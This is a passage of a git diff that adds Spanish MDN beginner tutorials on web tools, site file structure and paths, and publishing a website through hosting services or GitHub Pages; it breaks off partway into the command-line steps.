+<p>Una vez que hayas aprendido las tecnologías "sin procesar" que se pueden usar para crear páginas web (como HTML, CSS y JavaScript), pronto comenzarás a encontrar varias herramientas que puedes usar para hacer tu trabajo más fácil y/o más eficiente. Algunos ejemplos incluyen:</p>
+
+<ul>
+ <li>Las {{web.link("/es/docs/Learn/Common_questions/What_are_browser_developer_tools", "herramientas de desarrollo")}} dentro de los navegadores modernos que se pueden usar para depurar tu código.</li>
+ <li>{{web.link("/es/docs/Learn/Tools_and_testing/Cross_browser_testing", "Herramientas de prueba")}} que puedes usar para ejecutar pruebas y mostrar si tu código se está comportando como lo esperabas.</li>
+ <li>Bibliotecas y marcos de desarrollo construidos sobre JavaScript que te permiten crear ciertos tipos de sitios web de manera mucho más rápida y efectiva.</li>
+ <li>Las llamadas "Linternas" (<code>Linters</code> en inglés), que toman un conjunto de reglas, examinan tu código y resaltan los lugares donde no has seguido las reglas correctamente.</li>
+ <li>Minificadores, que eliminan todos los espacios en blanco de tus archivos de código fuente para que sean más pequeños y, por lo tanto, se descarguen del servidor más rápidamente.</li>
+</ul>
+
+<h3 id="Marcos_de_desarrollo_y_lenguajes_de_lado_del_servidor">Marcos de desarrollo y lenguajes de lado del servidor</h3>
+
+<p>HTML, CSS y JavaScript son lenguajes de la interfaz del usuario ("<code>front-end</code>" o del lado del cliente), lo cual significa que los ejecuta el navegador para producir la interfaz del sitio web que los usuarios pueden utilizar.</p>
+
+<p>Hay otra clase de lenguajes llamados lenguajes de la interfaz de admiración ("<code>back-end</code>" o de lado del servidor), lo cual significa que se ejecutan en el servidor antes de que el resultado se envíe al navegador para que se muestre. Un uso típico de un lenguaje de lado del servidor es obtener algunos datos de una base de datos y generar algo de HTML para contener los datos, antes de enviar el HTML al navegador para mostrárselo al usuario.</p>
+
+<p>Los lenguajes de lado del servidor de ejemplo incluyen ASP.NET, Python, PHP y NodeJS.</p>
+
+<h2 id="Mejores_prácticas_web">Mejores prácticas web</h2>
+
+<p>Hemos hablado brevemente sobre las tecnologías que utilizarás para crear sitios web. Ahora analicemos las mejores prácticas que debes emplear para asegurarte de que estás utilizando esas tecnologías de la mejor manera posible.</p>
+
+<p>Al hacer desarrollo web, la principal causa de incertidumbre proviene del hecho de que no sabes qué combinación de tecnologías utilizará cada usuario para ver tu sitio web:</p>
+
+<ul>
+ <li>El usuario 1 podría estar mirándolo en un iPhone, con una pantalla pequeña y estrecha.</li>
+ <li>El usuario 2 puede estar mirándolo en una computadora portátil con Windows con un monitor de pantalla ancha adjunto.</li>
+ <li>El usuario 3 puede ser ciego y usar un lector de pantalla para leerle la página web.</li>
+ <li>El usuario 4 podría estar usando una máquina de escritorio realmente antigua que no puede ejecutar navegadores modernos.</li>
+</ul>
+
+<p>Debido a que no sabes exactamente qué usarán tus usuarios, debes diseñar a la defensiva — hacer que tu sitio web sea lo más flexible posible, de modo que todos los usuarios anteriores puedan hacer uso de él, incluso si no todos obtienen la misma experiencia. En resumen, estamos tratando de hacer que la web funcione para todos, tanto como sea posible.</p>
+
+<p>Encontrarás los siguientes conceptos en algún momento de tus estudios.</p>
+
+<ul>
+ <li><strong>Compatibilidad entre navegadores</strong> — es la práctica de intentar asegurarte de que tu página web funcione en tantos dispositivos como sea posible. Esto incluye el uso de tecnologías compatibles con todos los navegadores, brindando mejores experiencias a los navegadores que pueden manejarlas (mejora progresiva) y/o escribiendo código para que vuelvas a una experiencia más simple pero aún utilizable en navegadores más antiguos (degradación elegante). También implica muchas pruebas para ver si algo falla en ciertos navegadores, y luego más trabajo para corregir esas fallas.</li>
+ <li><strong>Diseño web receptivo</strong> — es la práctica de hacer que tu funcionalidad y diseños sean flexibles para que se puedan adaptar automáticamente a diferentes navegadores. Un ejemplo obvio es un sitio web que se presenta de una forma en un navegador de pantalla ancha en el escritorio, pero que se muestra como un diseño de una sola columna más compacto en los navegadores de teléfonos móviles. Intenta ajustar el ancho de la ventana de tu navegador ahora y ve qué sucede.</li>
+ <li><strong>Rendimiento</strong> — significa hacer que los sitios web se carguen lo más rápido posible, pero también hacerlos intuitivos y fáciles de usar para que los usuarios no se sientan frustrados y vayan a otro lugar.</li>
+ <li><strong>Accesibilidad</strong> — significa hacer que tus sitios web sean utilizables por la mayor cantidad posible de personas (los conceptos relacionados son diversidad e inclusión y diseño inclusivo). Esto incluye a personas con impedimentos visuales, auditivos, cognitivos o físicos. También va más allá de las personas con discapacidad — ¿qué pasa con los jóvenes o los ancianos, las personas de diferentes culturas, las personas que utilizan dispositivos móviles o las personas con conexiones de red lentas o poco fiables?</li>
+ <li><strong>Internacionalización</strong> — significa hacer que los sitios web sean utilizables por personas de diferentes culturas, que hablan diferentes idiomas al tuyo. Hay consideraciones técnicas aquí (como alterar tu diseño para que aún funcione bien para idiomas de derecha a izquierda, o incluso verticales) y humanas (tal como usar un lenguaje simple, sin jerga para que las personas que tienen tu idioma ya que su segundo o tercer idioma es más probable que entienda tu texto).</li>
+ <li><strong>Privacidad y seguridad</strong>. Estos dos conceptos están relacionados pero son diferentes. La privacidad se refiere a permitir que las personas realicen sus negocios de manera privada y no espiarlos o recopilar más datos de los estrictamente necesarios. La seguridad se refiere a la construcción de tu sitio web de una manera segura para que los usuarios malintencionados no puedan robar la información contenida en él o de tus usuarios.</li>
+</ul>
+
+<h2 dir="ltr" id="Ve_también">Ve también</h2>
+
+<ul dir="ltr">
+ <li>{{interwiki("wikipedia", "Historia de la World Wide Web")}}</li>
+ <li>{{web.link("/es/docs/Learn/Common_questions/How_does_the_Internet_work", "¿Cómo funciona la internet?")}}</li>
+</ul>
diff --git a/files/es/learn/getting_started_with_the_web/manejando_los_archivos/index.html b/files/es/learn/getting_started_with_the_web/manejando_los_archivos/index.html
new file mode 100644
index 0000000000..0c7f8c4121
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/manejando_los_archivos/index.html
@@ -0,0 +1,120 @@
+---
+title: Manejo de archivos
+slug: Learn/Getting_started_with_the_web/Manejando_los_archivos
+tags:
+  - Archivos
+  - Guía
+  - HTML
+  - Novato
+  - Principiante
+  - Scripting
+  - Sitios Web
+  - 'l10n:priority'
+  - teorias
+translation_of: Learn/Getting_started_with_the_web/Dealing_with_files
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>Un sitio web consta de muchos archivos: texto del contenido, código, hojas de estilo, contenido multimedia, etc. Cuando estás creando un sitio web, necesitas ensamblar estos archivos en una estructura sensible en tu computadora local, asegurarte de que puedan comunicarse entre sí y hacer que todo su contenido se vea bien antes de que eventualmente {{web.link("/es/Learn/Getting_started_with_the_web/Publishing_your_website", "los cargues en un servidor")}}. El <em>manejo de archivos</em> analiza algunos problemas que debes tener en cuenta, para que puedas configurar una estructura de archivos adecuada para tu sitio web.</p>
+</div>
+
+<h2 id="¿Dónde_debería_estar_tu_sitio_web_en_tu_computadora">¿Dónde debería estar tu sitio web en tu computadora?</h2>
+
+<p>Cuando estés trabajando en un sitio web localmente en tu computadora, debes mantener todos los archivos relacionados en un solo directorio que refleje la estructura de archivos del sitio web publicado en el servidor. Este directorio se puede ubicar en cualquier lugar que desees, pero debes colocarlo en algún lugar donde lo puedas encontrar fácilmente, tal vez en tu escritorio, en tu directorio de inicio o en la raíz de tu disco duro.</p>
+
+<ol>
+ <li>Elige un lugar para almacenar los proyectos de tus sitios web. Dentro del lugar elegido, crea un nuevo directorio llamado <code>proyectosweb</code> (o algo similar). Aquí es donde vivirán todos los proyectos de tus sitios web.</li>
+ <li>Dentro de este primer directorio, crea otro directorio para almacenar tu primer sitio web. Llámalo <code>pruebasitio</code> (o algo más imaginativo).</li>
+</ol>
+
+<h2 id="Una_acotación_sobre_la_envoltura_y_el_espaciado">Una acotación sobre la envoltura y el espaciado</h2>
+
+<p>Notarás que a lo largo de este artículo, te pedimos que nombres los directorios y archivos completamente en minúsculas sin espacios. Esto es porque:</p>
+
+<ol>
+ <li>Muchas computadoras, particularmente los servidores web, distinguen entre mayúsculas y minúsculas. Entonces, por ejemplo, si colocas una imagen en tu sitio web en <code>pruebasitio/MiImagen.jpg</code> y luego, en un archivo diferente intentas invocar la imagen como <code>pruebasitio/miimagen.jpg</code>, puede que no funcione.</li>
+ <li>Los navegadores, servidores web y lenguajes de programación no manejan los espacios de manera consistente. Por ejemplo, si usas espacios en tu nombre de archivo, algunos sistemas pueden tratar el nombre de archivo como dos nombres de archivo. Algunos servidores reemplazarán las áreas en tus nombres de archivo con "%20" (el código de caracteres para espacios en URI), lo cual provocará que todos tus enlaces se rompan. Es mejor separar las palabras con guiones, en lugar de guiones bajos: <code>mi-archivo.html</code> vs. <code>mi_archivo.html</code>.</li>
+</ol>
+
+<p>La respuesta corta es que debes usar un guión para los nombres de tus archivos. El motor de búsqueda de Google trata un guión como un separador de palabras, pero no considera un guión bajo de esa manera. Por estos motivos, es mejor adquirir el hábito de escribir los nombres de los directorios y archivos en minúsculas, sin espacios y con palabras separadas por guiones, al menos hasta que sepas lo que estás haciendo. De esa manera, tropezarás con menos problemas en el futuro.</p>
+
+<h2 id="¿Qué_estructura_debe_tener_tu_sitio_web">¿Qué estructura debe tener tu sitio web?</h2>
+
+<p>A continuación, veamos qué estructura debería tener tu sitio de prueba. Las cosas más comunes que tendrás en cualquier proyecto de sitio web que crees son un archivo de índice HTML y directorios para contener imágenes, archivos de estilo y archivos de script. Crea estos ahora:</p>
+
+<ol>
+ <li><code><strong>index.html</strong></code>: Este archivo generalmente tendrá el contenido de tu página de inicio, es decir, el texto y las imágenes que las personas ven cuando visitan tu sitio por primera vez. Usando tu editor de texto, crea un nuevo archivo llamado <code>index.html</code> y guárdalo dentro de tu directorio <code>pruebasitio</code>.</li>
+ <li>Directorio <strong><code>images</code></strong>: Este directorio contendrá todas las imágenes que utilices en tu sitio. Crea un directorio llamado <code>images</code>, dentro de tu directorio <code>pruebasitio</code>.</li>
+ <li>Directorio <strong><code>styles</code></strong>: Este directorio contendrá el código CSS que se utiliza para aplicar estilo al contenido (por ejemplo, configurar el texto y los colores de fondo). Crea un directorio llamado <code>styles</code>, dentro de tu directorio <code>pruebasitio</code>.</li>
+ <li>Directorio <strong><code>scripts</code></strong>: Este directorio contendrá todo el código JavaScript utilizado para agregar funcionalidad interactiva a tu sitio (por ejemplo, botones que cargan datos cuando se hace clic en ellos). Crea un directorio llamado <code>scripts</code>, dentro de tu directorio <code>pruebasitio</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: En las computadoras con Windows, es posible que tengas problemas para ver los nombres de los archivos, porque de manera predeterminada, Windows tiene activada una opción llamada <strong>Ocultar extensiones para tipos de archivos conocidos</strong>. Generalmente, la puedes desactivar yendo al Explorador de Windows, seleccionando la opción <strong>Opciones de directorio...</strong>, desmarcando la casilla de verificación <strong>Ocultar extensiones para tipos de archivo conocidos</strong> y luego haciendo clic en <strong>Aceptar</strong>. Para obtener información más específica sobre tu versión de Windows, puedes buscar en la web.</p>
+</div>
+
+<h2 id="Rutas_de_archivo">Rutas de archivo</h2>
+
+<p>Para que los archivos se comuniquen entre sí, debes proporcionar una ruta de archivo entre ellos, básicamente una ruta, para que un archivo sepa dónde está otro. Para demostrarlo, insertaremos un poco de HTML en nuestro archivo <code>index.html</code> y haremos que muestre la imagen que elegiste en el artículo {{web.link("/es/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like#Imágenes", "¿Cómo se verá tu sitio web?")}}</p>
+
+<ol>
+ <li>Copia la imagen que elegiste anteriormente en tu directorio <code>images</code>.</li>
+ <li>Abre tu archivo <code>index.html</code> e inserta el siguiente código en el archivo exactamente como se muestra. Por ahora, no te preocupes por lo que significa todo esto; veremos las estructuras con más detalle más adelante en la serie.
+  <pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Mi página de prueba&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;img src="" alt="Mi imagen de prueba"&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+ </li>
+ <li>La línea <code>&lt;img src="" alt="Mi imagen de prueba"&gt;</code> es el código HTML que inserta una imagen en la página. Necesitamos decirle al HTML dónde está la imagen. La imagen está dentro del directorio <em>images</em>, que está en el mismo directorio que <code>index.html</code>. Para recorrer la estructura del archivo desde <code>index.html</code> hasta nuestra imagen, la ruta del archivo que necesitamos es <code>images/nombre-archivo-imagen</code>. Por ejemplo, nuestra imagen se llama <code>firefox-icon.png</code>, por lo que la ruta del archivo es <code>images/firefox-icon.png</code>.</li>
+ <li>Inserta la ruta del archivo en tu código HTML entre las comillas dobles del código <code>src=""</code>.</li>
+ <li>Guarda tu archivo HTML, luego cárgalo en tu navegador web (haz doble clic en el archivo). ¡Deberías ver tu nueva página web mostrando tu imagen!</li>
+</ol>
+
+<p><img alt="Una captura de pantalla del sitio web básico que muestra solo el logotipo de Firefox: un zorro en llamas envolviendo el mundo" src="https://mdn.mozillademos.org/files/9229/website-screenshot.png" style="display: block; height: 542px; margin: 0px auto; width: 690px;"></p>
+
+<p>Algunas reglas generales para las rutas de archivo:</p>
+
+<ul>
+ <li>Para vincular a un archivo destino en el mismo directorio que el archivo HTML de invocación, simplemente usa el nombre del archivo, p. ej. <code>mi-imagen.jpg</code>.</li>
+ <li>Para hacer referencia a un archivo en un subdirectorio, escribe el nombre del directorio delante de la ruta, más una barra inclinada, p. ej. <code>subdirectorio/mi-imagen.jpg</code>.</li>
+ <li>Para vincular a un archivo destino en el directorio <strong>arriba</strong> del archivo HTML que lo invoca, escribe dos puntos. Por ejemplo, si <code>index.html</code> estuviera dentro de un subdirectorio de <code>pruebasitio</code> y <code>mi-imagen.jpg</code> estuviera dentro de <code>pruebasitio</code>, puedes hacer referencia a <code>mi-imagen.jpg</code> desde <code>index.html</code> utilizando <code>../mi-imagen.jpg</code>.</li>
+ <li>Los puedes combinar tanto como desees, por ejemplo, <code>../subdirectorio/otro-subdirectorio/mi-imagen.jpg</code>.</li>
+</ul>
+
+<p>Por ahora, esto es todo lo que necesitas saber.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El sistema de archivos de Windows tiende a utilizar barras invertidas, no barras diagonales, p. ej. <code>C:\windows</code>. Esto no importa en HTML, incluso si estás desarrollando tu sitio web en Windows, debes usar barras diagonales en tu código.</p>
+</div>
+
+<h2 id="¿Qué_más_se_debería_hacer">¿Qué más se debería hacer?</h2>
+
+<p>Eso es todo por ahora. La estructura de tu directorio debería verse así:</p>
+
+<p><img alt="Una estructura de archivos en mac os x finder, que muestra un directorio de imágenes con una imagen, directorios de estilos y scripts vacíos, y un archivo index.html" src="https://mdn.mozillademos.org/files/9231/file-structure.png" style="display: block; height: 577px; margin: 0px auto; width: 929px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web")}}</p>
+
+
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li id="Instalacion_de_software_basico">{{web.link("/es/Learn/Getting_started_with_the_web/Instalacion_de_software_basico", "Instalación de software básico")}}</li>
+ <li id="Como_se_vera_tu_sitio_web">{{web.link("/es/Learn/Getting_started_with_the_web/What_will_your_website_look_like", "¿Cómo se verá tu sitio web?")}}</li>
+ <li id="Manejo_de_archivos">{{web.link("/es/Learn/Getting_started_with_the_web/Manejando_los_archivos", "Manejo de archivos")}}</li>
+ <li id="Conceptos_basicos_de_HTML">{{web.link("/es/Learn/Getting_started_with_the_web/HTML_basics", "Conceptos básicos de HTML")}}</li>
+ <li id="Conceptos_basicos_de_CSS">{{web.link("/es/Learn/Getting_started_with_the_web/CSS_basics", "Conceptos básicos de CSS")}}</li>
+ <li id="Conceptos_basicos_de_JavaScript">{{web.link("/es/Learn/Getting_started_with_the_web/JavaScript_basics", "Conceptos básicos de JavaScript")}}</li>
+ <li id="Publicar_tu_sitio_web">{{web.link("/es/Learn/Getting_started_with_the_web/Publishing_your_website", "Publicar tu sitio web")}}</li>
+ <li id="Como_funciona_la_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Cómo_funciona_la_Web", "Cómo funciona la Web")}}</li>
+</ul>
diff --git a/files/es/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/es/learn/getting_started_with_the_web/publishing_your_website/index.html
new file mode 100644
index 0000000000..9dbfe88d7e
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/publishing_your_website/index.html
@@ -0,0 +1,195 @@
+---
+title: Publicar tu sitio web
+slug: Learn/Getting_started_with_the_web/Publishing_your_website
+tags:
+  - Aprender
+  - Aprendiz
+  - Dropbox
+  - FTP
+  - GitHub
+  - Publicacion
+  - Sitio Web
+  - Web
+  - Web Hosting
+  - publicar
+  - web server
+translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
+---
+<p>{{LearnSidebar()}}</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works","Learn/Getting_started_with_the_web")}}</p>
+
+<div class="summary">
+<p>Una vez que termines de escribir tu código y organizar los archivos que forman parte de tu sitio, debes ponerlo en línea para que la gente pueda consultarlo. Este artículo muestra cómo conseguir de manera sencilla que tu código esté en línea.</p>
+</div>
+
+<h2 id="¿Cuáles_son_las_opciones">¿Cuáles son las opciones?</h2>
+
+<p>Publicar un sitio no es un tema sencillo, principalmente porque hay muchas maneras diferentes de hacerlo. En este artículo no se trata de ver todos los modos posibles. En su lugar, discutiremos los pros y contras de tres amplias estrategias desde el punto de vista de un principiante, y luego debes seleccionar qué método usarás.</p>
+
+<h3 id="Obtener_alojamiento_y_un_nombre_de_dominio">Obtener alojamiento y un nombre de dominio</h3>
+
+<p>Si deseas un control total sobre tu sitio web publicado, probablemente necesitarás gastar dinero para comprar:</p>
+
+<ul>
+ <li><em>Alojamiento </em>(<em>Hosting</em>) — espacio de almacenamiento alquilado en el <a href="/es/docs/Learn/Common_questions/Que_es_un_servidor_WEB">servidor web</a> de una compañia de alojamientos. Pones los archivos de tu sitio web en este espacio, y el servidor web suministra el contenido a los usuarios que lo solicitan.</li>
+ <li>Un <a href="/es/docs/Learn/Common_questions/What_is_a_domain_name">nombre de dominio</a> — dirección única mediante la cual la gente puede encontrar tu sitio web, como <code>https://www.mozilla.org</code>, o <code>https://es.wikipedia.org/</code>. Puedes tomar en alquiler el nombre de tu dominio durante algunos años en un <strong>registrador de dominio</strong>.</li>
+</ul>
+
+<p>Muchos sitios web profesionales toman esta opción.</p>
+
+<p>Además, necesitarás un programa de <a href="/es/docs/Glossary/FTP">protocolo de transferencia de archivo</a> (<em>File Transfer Protocol</em>, FTP) para transferir los archivos que conforman tu sitio web al servidor (mira más detalles de<a href="/es/docs/Learn/Common_questions/Cuanto_cuesta#Software"> cuánto puede costar: software</a>). Los programas FTP varían ampliamente, pero en general tienes que conectarte a tu servidor web contratado mediante detalles proporcionados por tu empresa de alojamiento (por ejemplo: nombre de usuario, contraseña, nombre del <em>host</em>). Una vez conectado con el servidor web el programa te mostrará tus archivos locales y los archivos del servidor web en dos ventanas y te proporcionará una forma de transferir los archivos de un lado a otro.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p>
+
+<h4 id="Consejos_para_elegir_alojamienoto_y_dominio">Consejos para elegir alojamienoto y dominio</h4>
+
+<ul>
+ <li>En MDN no promovemos empresas comerciales de alojamiento o resgistradoras de nombre de dominio específicas. Para encontrarlas basta con buscar «alojamiento web» o «<em>hosting</em> web» y «nombres de dominio». A veces las empresas proporcionan ambos en un paquete único. Los registradores acostumbran a facilitar la manera de comprobar si el nombre de dominio que deseas para tu sitio está disponible.</li>
+ <li>El <a href="/es/docs/Glossary/ISP">proveedor de servicio de Internet</a> (ISP) de tu casa u oficina puede proporcionar algún alojamiento limitado para un pequeño sitio web. <span id="result_box" lang="es"><span class="alt-edited">El conjunto de características disponibles será limitado, pero podría ser perfecto para tus primeros experimentos; </span></span>¡ponte en contacto con ellos y pregunta!</li>
+ <li>Hay servicios gratiuitos disponibles como <a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com">Blogspot</a>, y <a href="https://es.wordpress.com/">Wordpress</a>. <span id="result_box" lang="es"><span>Una vez más, obtienes lo que pagas, pero son ideales para tus experimentos iniciales.</span> <span>Los servicios gratuitos en su mayoría no requieren software de FTP para transferencias de archivos pues permiten arrastrar y soltar archivos justo dentro de su interfaz web.</span></span></li>
+ <li><span lang="es"><span>Muchas compañías proporcionan alojamiento y dominio simultáneamente.</span></span></li>
+</ul>
+
+<h3 id="Utilizar_una_herramienta_en_línea_como_GitHub_o_Dropbox">Utilizar una herramienta en línea como GitHub o Dropbox</h3>
+
+<p>Algunas herramientas te permiten publicar tu sitio en línea:</p>
+
+<ul>
+ <li><a href="https://github.com/">GitHub</a> es un sitio de «codificación social». Te permite cargar repositorios de código para almacenarlos en el <strong>sistema de control de versiónes</strong> de <a href="http://git-scm.com/">Git</a>. De esta manera puedes colaborar en proyectos de código pues por defecto el sistema es de código abierto, lo que significa que cualquier persona en el mundo puede encontrar tu código en GitHub, usarlo, aprender de él y mejorarlo. ¡Puedes hacer esto con el código de otra persona también! Git es un <a href="https://git-scm.com/book/es/v2/Inicio---Sobre-el-Control-de-Versiones-Acerca-del-Control-de-Versiones">sistema de control de versiones</a> muy popular y GitHub es una comunidad muy importante y útil por lo que la mayor parte de empresas de tecnología ahora lo usan en su proceso laboral. GitHub tiene una característica muy útil llamada <a href="https://pages.github.com">GitHub Pages</a>, que te permite exponer el código de tu sitio web en vivo en la web.</li>
+ <li><a href="https://www.dropbox.com/">Dropbox</a> es un sistema de almacenamiento de archivos que te permite guardar los archivos en la web y tenerlos disponibles desde cualquier ordenador. Cualquier persona con una conexión a Internet puede acceder a cualquier carpeta de Dropbox que esté accesible al público. Si esa carpeta contiene los archivos del sitio web, estos serán visualizados como un sitio web de forma automática.</li>
+ <li><a href="https://cloud.google.com/appengine/">Google App Engine</a> es una poderosa plataforma que permite construir y ejecutar aplicaciones en la infraestructura de Google, ya sea que necesites construir una aplicación web de varios niveles desde cero o alojar un sitio web estático. Para obtener más información consulta <a href="/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">¿Cómo se aloja un sitio web en Google App Engine?</a> (en inglés).</li>
+</ul>
+
+<p>A diferencia de la mayoría de alojamientos (servicios de <em>hosting</em>), tales herramientas son por lo general libres de utilizar, pero solo permiten un conjunto de funciones limitadas.</p>
+
+<h3 id="Utilizar_un_entorno_basado_en_web_como_CodePen">Utilizar un entorno basado en web como CodePen</h3>
+
+<p>Existe un número de aplicaciones web que emulan un entorno de desarrollo de sitios web, permitiendo que ingreses tu código HTML, CSS y Javascript y luego muestran los resultados de dicho código como un sitio web, ¡todo en una pestaña del navegador! En términos generales, estas herramientas son bastante sencillas, geniales para aprender, buenas para compartir código (por ejemplo, si quieres compartir con alguien una técnica o pedir ayuda en la depuración del código) y gratuitas para las funciones básicas. Además, mantienen tu página renderizada en una única dirección web. Sin embargo, las características básicas son muy limitadas y estas aplicaciones usualmente no proveen espacio de almacenamiento para recursos (como imágenes).</p>
+
+<p>Prueba con algunos de estos ejemplos y observa cuál es el que mejor se adapta a tu gusto:</p>
+
+<ul>
+ <li><a href="http://jsfiddle.net/">JSFiddle</a></li>
+ <li><a href="https://glitch.com/">Glitch</a></li>
+ <li><a href="http://jsbin.com/">JS Bin</a></li>
+ <li><a href="https://codepen.io/">CodePen</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p>
+
+<h2 id="Publicar_a_través_de_GitHub">Publicar a través de GitHub</h2>
+
+<p>Explicados estos tres métodos veamos ahora cómo publicar fácilmente, de forma muy visual e intuitiva, o bien por medio de comandos, tu sitio a través de <a href="https://pages.github.com/">GitHub Pages</a> (en inglés).</p>
+
+<h3 id="De_manera_visual_y_sin_necesidad_de_más_herramientas">De manera visual y sin necesidad de más herramientas</h3>
+
+<p>Esta no es la única manera, pero sí la que te permite poner manos a la obra inmediatamente.</p>
+
+<ol>
+ <li>Si aún no lo has hecho<a href="https://github.com/join"> da de alta una cuenta en GitHub</a>. Es simple y sencillo, solo debes verificar tu dirección de correo electrónico.</li>
+ <li>Una vez registrado, ingresa a tu cuenta en GitHub.com con tu usuario y contraseña suministrados al crear tu cuenta.</li>
+ <li>A continuación, necesitas crear un nuevo repositorio para tus archivos. Haz clic en el signo más (+) en la parte superior derecha de la página inicial de GitHub y selecciona <em>New Repository</em> (Nuevo repositorio).</li>
+ <li>En esta página, en la casilla <em>Repository name</em> (Nombre del repositorio), ingresa <kbd><em>usuario</em>.github.io</kbd>,<em> </em>donde <em>usuario</em> es tu nombre de usuario. Así por ejemplo, nuestro amigo Bob Smith ingresaría <kbd><em>bobsmith.github.io</em></kbd>. <img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li>
+ <li>Opcionalmente escribe una corta descripción de tu sitio web en el campo <em>Description</em> para que recuerdes cuál es la temática que tratarás en él y selecciona la casilla de verificación <em>Public</em> (Público) si quieres que cualquier persona pueda ver los resultados de las ediciones que haces al sitio web que estás creando.</li>
+ <li>Marca la casilla de verificación <em>Initialize this repository with a README</em> (Inicializar este repositorio con un README (LÉAME)). Esto te permitirá clonar inmediatamente el repositorio a tu equipo. ¡Si vas a transferir tus archivos desde tu equipo al servidor de GitHub a través de un cliente de FTP (como se explica en la sección <em><a href="/es/docs/Learn/Getting_started_with_the_web/Publishing_your_website#Subir_tus_archivos_a_Github_a_través_de_la_línea_de_comandos">Subir tus archivos a GitHub a través de la línea de comandos</a></em>, a continuación), <u>no debes realizar este paso</u>!</li>
+ <li>Da clic en <em>Create repository</em> (Crear repositorio).</li>
+ <li>Arrastra y suelta el contenido de la carpeta de tu sitio web en tu repositorio. Cuando termines de pasar el contenido haz clic en <em>Commit changes</em> (Confirmar cambios).
+  <div class="blockIndicator note">
+  <p><strong>Nota</strong>: cerciórate que tu carpeta tiene un archivo de nombre <kbd>index.html</kbd></p>
+  </div>
+ </li>
+ <li>En tu navegador desplázate a <kbd>username.github.io</kbd> para ver tu sitio web en línea. Por ejemplo, para el nombre de usuario Bob Smith, escribe <kbd>bobsmith.github.io</kbd>.
+
+
+  <div class="blockIndicator note">
+  <p><strong>Nota</strong>: puede que tu página web tarde unos minutos en entrar en funcionamiento. Si tu sitio web no se muestra inmediatamente, espera unos minutos e inténtalo de nuevo.</p>
+  </div>
+ </li>
+</ol>
+
+<h3 id="Subir_tus_archivos_a_GitHub_a_través_de_la_línea_de_comandos">Subir tus archivos a GitHub a través de la línea de comandos</h3>
+
+<p>No estamos diciendo que esta es la única manera, o la mejor, de publicar tu sitio, pero es gratis, decentemente simple y abarca algunas nuevas habilidades que encontrarás útiles en adelante.</p>
+
+<p>Antes que nada, <a href="http://git-scm.com/downloads">descarga e instala Git</a> en tu equipo. Este paso es necesario si vas a trabajar con los archivos de tu página web en él y luego los transferirás al servidor de GitHub.</p>
+
+<p>Sigue los pasos <strong>1 a 5</strong> y el <strong>7</strong> (recuerda omitir el 6) detallados en la anterior sección <em><a href="/es/docs/Learn/Getting_started_with_the_web/Publishing_your_website#De_manera_visual_y_sin_necesidad_de_m%C3%A1s_herramientas">De manera visual y sin necesidad de más herramientas</a></em>. Una vez hayas dado clic en <em>Create repository</em> (Crear repositorio) verás la siguiente ventana (¡no la cierres, más adelante necesitarás copiar información de allí!):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9481/github-populate-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p>
+
+<p>En este punto ya estarás listo para poder utilizar la línea de comandos para subir los archivos de tu repositorio a GitHub. Una <em>línea de órdenes o de comandos</em> es una ventana donde escribes comandos que realizarán tareas como crear archivos y ejecutar programas, en lugar de utiizar la interfaz gráfica de usuario. Se debe parecer a algo como esto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: si no te sientes cómodo utilizando la línea de comandos, podrías considerar usar <a href="http://git-scm.com/downloads/guis">Git graphical user interface</a> para realizar la misma tarea.</p>
+</div>
+
+<p><span id="command-line">Todos los sistemas operativos vienen con una herramienta de línea de comandos:</span></p>
+
+<ul>
+ <li><strong>Windows</strong>: se puede acceder al <strong>Intérprete de comandos</strong> desde el menú que se presenta al pulsar <em>Win + X </em>(o abre el menú pulsando el botón secundario del ratón sobre el botón Inicio de Windows en la parte inferior izquierda del escritorio). Advierte que Windows tiene sus propias sintaxis de comandos diferente a las de Linux y MacOS X, así que los siguientes comandos pueden variar para tu máquina.</li>
+ <li><strong>MacOS X</strong>: <strong>Terminal</strong> puede ser hallada en Aplicaciones<em> &gt; Utilidades</em>.</li>
+ <li><strong>Linux</strong>: usualmente puedes abrir una terminal con <em>Ctrl + Alt + T</em>. Si esto no funciona, busca <strong>Terminal </strong>en la barra de aplicaciones o en el menú.</li>
+</ul>
+
+<p>Aunque este procedimiento pueda parecer un poco aterrador al principio no te preocupes, pronto te darás cuenta de lo básico. Darás órdenes al equipo en el terminal escribiendo un comando y presionando <kbd>Intro</kbd>.</p>
+
+<ol>
